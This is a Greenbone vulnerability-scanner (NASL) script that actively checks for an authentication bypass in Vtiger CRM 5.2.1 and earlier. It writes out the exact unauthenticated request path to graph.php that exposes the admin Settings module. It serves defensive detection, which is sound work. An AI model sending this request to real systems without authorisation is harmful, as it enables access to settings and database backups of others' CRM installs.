Vtiger CRM <= 5.2.1 Authentication Bypass Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:vtiger:vtiger_crm";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103374");
  script_version("2026-05-07T06:32:13+0000");
  script_tag(name:"last_modification", value:"2026-05-07 06:32:13 +0000 (Thu, 07 May 2026)");
  script_tag(name:"creation_date", value:"2011-12-29 10:36:49 +0100 (Thu, 29 Dec 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Vtiger CRM <= 5.2.1 Authentication Bypass Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_vtiger_crm_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("vtiger/http/detected");

  script_tag(name:"summary", value:"Vtiger CRM is prone to an authentication bypass
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to bypass the authentication
  process, download the database backup and modify configurations settings.");

  script_tag(name:"affected", value:"Vtiger CRM version 5.2.1 and probably prior.");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for
  details.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51192");
  script_xref(name:"URL", value:"http://francoisharvey.ca/2011/12/advisory-meds-2011-01-vtigercrm-anonymous-access-to-setting-module/");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/graph.php?module=Settings&action=OrganizationConfig&parenttab=Settings";

if (http_vuln_check(port: port, url: url, pattern: "Company Details",
                    extra_check: make_list("EditCompanyDetails", "Company Name"))) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);